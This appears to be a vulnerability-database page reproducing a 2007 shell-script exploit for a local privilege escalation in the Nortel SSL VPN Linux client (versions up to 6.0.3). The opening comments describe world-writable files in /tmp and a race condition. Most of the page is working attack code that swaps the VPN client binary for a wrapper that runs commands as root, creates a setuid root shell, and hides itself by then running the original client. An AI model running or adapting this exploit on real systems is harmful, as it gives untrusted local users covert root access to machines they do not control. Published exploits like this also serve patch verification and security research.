Lucene search
K

Nortel SSL VPN Linux Client <= 6.0.3 Local Privilege Escalation Exploit

🗓️ 22 Feb 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 9 Views

Nortel SSL VPN Linux Client <= 6.0.3 Local Privilege Escalatio

Code

                                                #!/bin/sh
#&nbsp;
#&nbsp;Nortel&nbsp;SSL&nbsp;VPN&nbsp;Linux&nbsp;Client&nbsp;race&nbsp;condition
#&nbsp;
#&nbsp;Jon&nbsp;Hart&nbsp;<[email protected]>
#
#&nbsp;The&nbsp;Linux&nbsp;client&nbsp;that&nbsp;is&nbsp;utilized&nbsp;by&nbsp;versions&nbsp;priot&nbsp;to&nbsp;&nbsp;6.05&nbsp;of&nbsp;the&nbsp;Nortel
#&nbsp;SSL&nbsp;VPN&nbsp;appliance&nbsp;suffers&nbsp;from&nbsp;a&nbsp;number&nbsp;of&nbsp;problems&nbsp;that,&nbsp;in&nbsp;combination,
#&nbsp;allow&nbsp;an&nbsp;unprivileged&nbsp;local&nbsp;user&nbsp;to&nbsp;obtain&nbsp;root&nbsp;privileges.
#&nbsp;
#&nbsp;This&nbsp;particular&nbsp;bug&nbsp;is&nbsp;as&nbsp;follows:
#&nbsp;1)&nbsp;SSL&nbsp;VPN&nbsp;is&nbsp;initiated&nbsp;from&nbsp;the&nbsp;startNetdirect()&nbsp;javascript&nbsp;call
#&nbsp;2)&nbsp;A&nbsp;zip&nbsp;archive&nbsp;is&nbsp;downloaded&nbsp;to&nbsp;the&nbsp;local&nbsp;machine&nbsp;which&nbsp;contains&nbsp;three
#&nbsp;&nbsp;&nbsp;&nbsp;binaries&nbsp;necessary&nbsp;for&nbsp;the&nbsp;client:&nbsp;askpass,&nbsp;client,&nbsp;and&nbsp;surun.&nbsp;&nbsp;This
#&nbsp;&nbsp;&nbsp;&nbsp;archive&nbsp;is&nbsp;written&nbsp;to&nbsp;/tmp,&nbsp;chmod\'d&nbsp;777,&nbsp;and&nbsp;then&nbsp;it&nbsp;is&nbsp;extracted&nbsp;into
#&nbsp;&nbsp;&nbsp;&nbsp;/tmp/NetClient
#&nbsp;3)&nbsp;All&nbsp;of&nbsp;these&nbsp;files&nbsp;are&nbsp;chmod\'d&nbsp;world&nbsp;writable&nbsp;by&nbsp;the&nbsp;following&nbsp;java
#&nbsp;&nbsp;&nbsp;&nbsp;snippet,&nbsp;which&nbsp;is&nbsp;called&nbsp;on&nbsp;all&nbsp;UNIX&nbsp;client&nbsp;OSs:
#
#&nbsp;&nbsp;&nbsp;protected&nbsp;boolean&nbsp;setPermissions(String&nbsp;file)
#&nbsp;&nbsp;&nbsp;{
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;command&nbsp;=&nbsp;\"chmod&nbsp;a+xw&nbsp;\"&nbsp;+&nbsp;file;
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Process&nbsp;p&nbsp;=&nbsp;Runtime.getRuntime().exec(command);
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p.waitFor();
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;...
#&nbsp;&nbsp;&nbsp;}
#
#&nbsp;4)&nbsp;/tmp/NetClient/surun&nbsp;is&nbsp;executed,&nbsp;which&nbsp;in&nbsp;turn&nbsp;runs
#&nbsp;&nbsp;&nbsp;&nbsp;/tmp/NetClient/askpass.&nbsp;&nbsp;This&nbsp;process&nbsp;aquires&nbsp;the&nbsp;root&nbsp;password,&nbsp;and
#&nbsp;&nbsp;&nbsp;&nbsp;then&nbsp;executes&nbsp;/tmp/NetClient/client&nbsp;via&nbsp;/bin/su&nbsp;and&nbsp;the&nbsp;root&nbsp;password.&nbsp;&nbsp;
#
#&nbsp;There&nbsp;is&nbsp;clearly&nbsp;a&nbsp;bug&nbsp;in&nbsp;step&nbsp;2&nbsp;and&nbsp;3&nbsp;whereby&nbsp;files&nbsp;are&nbsp;installed&nbsp;world
#&nbsp;writable.&nbsp;&nbsp;The&nbsp;bug&nbsp;I&nbsp;chose&nbsp;to&nbsp;exploit&nbsp;is&nbsp;the&nbsp;race&nbsp;condition&nbsp;in&nbsp;step&nbsp;4,
#&nbsp;combined&nbsp;with&nbsp;the&nbsp;insecure&nbsp;permissions&nbsp;of&nbsp;steps&nbsp;2&nbsp;and&nbsp;3,&nbsp;which&nbsp;(IMO),
#&nbsp;gives&nbsp;root&nbsp;more&nbsp;easily.&nbsp;&nbsp;The&nbsp;risk&nbsp;here&nbsp;is&nbsp;if&nbsp;you&nbsp;have&nbsp;untrusted&nbsp;accounts
#&nbsp;on&nbsp;the&nbsp;machine&nbsp;from&nbsp;which&nbsp;you&nbsp;access&nbsp;the&nbsp;Nortel&nbsp;VPN,&nbsp;those&nbsp;accounts&nbsp;can
#&nbsp;easily&nbsp;gain&nbsp;local&nbsp;root&nbsp;access.
#
#&nbsp;The&nbsp;exploit&nbsp;is&nbsp;fairly&nbsp;simple.&nbsp;&nbsp;Wait&nbsp;for&nbsp;/tmp/NetClient/client&nbsp;to&nbsp;appear,
#&nbsp;swap&nbsp;it&nbsp;for&nbsp;our&nbsp;\"special&nbsp;version\",&nbsp;and&nbsp;wait&nbsp;for&nbsp;a&nbsp;shell.
#
#&nbsp;Notes:&nbsp;a&nbsp;/tmp&nbsp;with&nbsp;nosuid&nbsp;will&nbsp;help&nbsp;mitigate&nbsp;this&nbsp;particular&nbsp;_exploit_,
#&nbsp;but&nbsp;not&nbsp;the&nbsp;vulnerability.&nbsp;&nbsp;The&nbsp;same&nbsp;vulnerability&nbsp;also&nbsp;exists&nbsp;in&nbsp;the&nbsp;Mac
#&nbsp;client.&nbsp;&nbsp;
#
#&nbsp;For&nbsp;education&nbsp;and&nbsp;testing&nbsp;purposes&nbsp;only.&nbsp;&nbsp;Only&nbsp;run&nbsp;this&nbsp;on&nbsp;systems&nbsp;that
#&nbsp;you&nbsp;maintain/control.
#

cleanup()&nbsp;{
&nbsp;&nbsp;&nbsp;rm&nbsp;-f&nbsp;$TMP_DIR/.*-$$..*
}


run_cmd()&nbsp;{
&nbsp;&nbsp;&nbsp;CMD=$@&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;VPN_CLIENT_RUN=`mktemp&nbsp;-t&nbsp;vpn_client_run-$$.XXXXXXXX`

&nbsp;&nbsp;&nbsp;echo&nbsp;\"Waiting&nbsp;for&nbsp;writable&nbsp;client\"
&nbsp;&nbsp;&nbsp;while&nbsp;(true);&nbsp;do
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;[&nbsp;-w&nbsp;$CLIENT&nbsp;];&nbsp;then
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OLD_CLIENT=`mktemp&nbsp;-t&nbsp;old_client-$$.XXXXXXXXXX`
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;\"Saving&nbsp;old&nbsp;client\"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cp&nbsp;$CLIENT&nbsp;$OLD_CLIENT&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;chmod&nbsp;755&nbsp;$OLD_CLIENT
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;\"Writing&nbsp;new&nbsp;\"client\"\"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;\"#!/bin/sh\"&nbsp;>&nbsp;$CLIENT&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;\"$CMD\"&nbsp;>>&nbsp;$CLIENT
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;\"rm&nbsp;-f&nbsp;$VPN_CLIENT_RUN\"&nbsp;>>&nbsp;$CLIENT
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;ensure&nbsp;the&nbsp;original&nbsp;client&nbsp;gets&nbsp;run&nbsp;so&nbsp;as&nbsp;to&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;not&nbsp;alert&nbsp;the&nbsp;user
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;\"exec&nbsp;$OLD_CLIENT&nbsp;$@\"&nbsp;>>&nbsp;$CLIENT
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi
&nbsp;&nbsp;&nbsp;done

&nbsp;&nbsp;&nbsp;SUCCESS=0
&nbsp;&nbsp;&nbsp;echo&nbsp;\"Waiting&nbsp;for&nbsp;new&nbsp;client&nbsp;to&nbsp;be&nbsp;run\"
&nbsp;&nbsp;&nbsp;while&nbsp;(true);&nbsp;do
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;[&nbsp;!&nbsp;-f&nbsp;$VPN_CLIENT_RUN&nbsp;];&nbsp;then
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SUCCESS=1
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sleep&nbsp;2
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi
&nbsp;&nbsp;&nbsp;done

&nbsp;&nbsp;&nbsp;if&nbsp;[&nbsp;$SUCCESS&nbsp;==&nbsp;1&nbsp;];&nbsp;then
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;\"Success\"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;0
&nbsp;&nbsp;&nbsp;else&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;\"Exploit&nbsp;failed!\"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cleanup
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;1
&nbsp;&nbsp;&nbsp;fi
}

suid_shell()&nbsp;{
&nbsp;&nbsp;&nbsp;SH_C=\"sh_c-$$.c\"

&nbsp;&nbsp;&nbsp;#&nbsp;write&nbsp;out&nbsp;setuid&nbsp;shell
&nbsp;&nbsp;&nbsp;cat&nbsp;>>&nbsp;$SH_C&nbsp;<<&nbsp;EOF
&nbsp;&nbsp;&nbsp;#include&nbsp;<sys/types.h>
&nbsp;&nbsp;&nbsp;#include&nbsp;<unistd.h>
&nbsp;&nbsp;&nbsp;int&nbsp;main&nbsp;(int&nbsp;argc,&nbsp;char&nbsp;**argv)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setuid(0);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setgid(0);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;execl(\"/bin/bash\",&nbsp;\"bash\",&nbsp;NULL);
&nbsp;&nbsp;&nbsp;}
EOF

&nbsp;&nbsp;&nbsp;#&nbsp;try&nbsp;like&nbsp;hell&nbsp;to&nbsp;get&nbsp;this&nbsp;shell&nbsp;compiled
&nbsp;&nbsp;&nbsp;SH=`mktemp&nbsp;-t&nbsp;vpnshell-$$.XXXXXXXXXX`
&nbsp;&nbsp;&nbsp;gcc&nbsp;-o&nbsp;$SH&nbsp;$SH_C&nbsp;2>&1&nbsp;>&nbsp;/dev/null&nbsp;2>&1
&nbsp;&nbsp;&nbsp;if&nbsp;[&nbsp;$?&nbsp;!=&nbsp;0&nbsp;];&nbsp;then
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cc&nbsp;-o&nbsp;$SH&nbsp;$SH_C&nbsp;2>&1&nbsp;>&nbsp;/dev/null&nbsp;2>&1
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;[&nbsp;$?&nbsp;!=&nbsp;0&nbsp;];&nbsp;then
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;\"Compilation&nbsp;of&nbsp;shell&nbsp;failed\"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;\"Trying&nbsp;backup&nbsp;method...\"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;run_cmd&nbsp;\"cp&nbsp;/bin/sh&nbsp;$SH&nbsp;&&&nbsp;chmod&nbsp;4755&nbsp;$SH\"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(true);&nbsp;do
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;[&nbsp;-u&nbsp;$SH&nbsp;];&nbsp;then
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$SH&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cleanup
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sleep&nbsp;1
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;done
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;\"Failed\"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cleanup
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;1
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi
&nbsp;&nbsp;&nbsp;fi
&nbsp;&nbsp;&nbsp;rm&nbsp;-f&nbsp;$SH_C&nbsp;

&nbsp;&nbsp;&nbsp;run_cmd&nbsp;\"chown&nbsp;root:root&nbsp;$SH&nbsp;&&&nbsp;chmod&nbsp;4755&nbsp;$SH\"

&nbsp;&nbsp;&nbsp;#&nbsp;wait&nbsp;for&nbsp;our&nbsp;shell&nbsp;to&nbsp;be&nbsp;chmod\'d
&nbsp;&nbsp;&nbsp;SUCCESS=0
&nbsp;&nbsp;&nbsp;echo&nbsp;\"Waiting&nbsp;for&nbsp;suid&nbsp;shell\"
&nbsp;&nbsp;&nbsp;for&nbsp;sleep&nbsp;in&nbsp;`seq&nbsp;1&nbsp;60`;&nbsp;do
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;[&nbsp;-u&nbsp;$SH&nbsp;];&nbsp;then
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;\"Success!&nbsp;setuid&nbsp;shell&nbsp;is&nbsp;$SH\"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SUCCESS=1
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sleep&nbsp;2
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi
&nbsp;&nbsp;&nbsp;done

&nbsp;&nbsp;&nbsp;if&nbsp;[&nbsp;$SUCCESS&nbsp;==&nbsp;1&nbsp;];&nbsp;then
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cleanup
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$SH
&nbsp;&nbsp;&nbsp;else&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rm&nbsp;-f&nbsp;$SH
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;\"Exploit&nbsp;failed!\"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cleanup
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;1
&nbsp;&nbsp;&nbsp;fi
}

CLIENT=\"/tmp/NetClient/client\"

if&nbsp;[&nbsp;-f&nbsp;$CLIENT&nbsp;];&nbsp;then
&nbsp;&nbsp;&nbsp;echo&nbsp;\"client&nbsp;$CLIENT&nbsp;already&nbsp;exists&nbsp;--&nbsp;forcing&nbsp;stop\"
&nbsp;&nbsp;&nbsp;$CLIENT&nbsp;--stop
&nbsp;&nbsp;&nbsp;for&nbsp;sleep&nbsp;in&nbsp;`seq&nbsp;1&nbsp;60`;&nbsp;do
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;[&nbsp;!&nbsp;-f&nbsp;$CLIENT&nbsp;];&nbsp;then
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sleep&nbsp;1
&nbsp;&nbsp;&nbsp;done
fi

#&nbsp;hack&nbsp;to&nbsp;figure&nbsp;out&nbsp;where&nbsp;temp&nbsp;files&nbsp;get&nbsp;put...
TMP_FILE=`mktemp&nbsp;-t&nbsp;$$`
TMP_DIR=`dirname&nbsp;$TMP_FILE`
rm&nbsp;-f&nbsp;$TMP_FILE

trap&nbsp;cleanup&nbsp;1&nbsp;2&nbsp;3&nbsp;15

#&nbsp;two&nbsp;modes&nbsp;of&nbsp;operation&nbsp;--&nbsp;get&nbsp;a&nbsp;root&nbsp;shell,&nbsp;or&nbsp;run&nbsp;a&nbsp;cmd&nbsp;as&nbsp;root.
if&nbsp;[&nbsp;-z&nbsp;\"$1\"&nbsp;];&nbsp;then
&nbsp;&nbsp;&nbsp;suid_shell
else&nbsp;
&nbsp;&nbsp;&nbsp;run_cmd&nbsp;$1&nbsp;
fi

cleanup
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation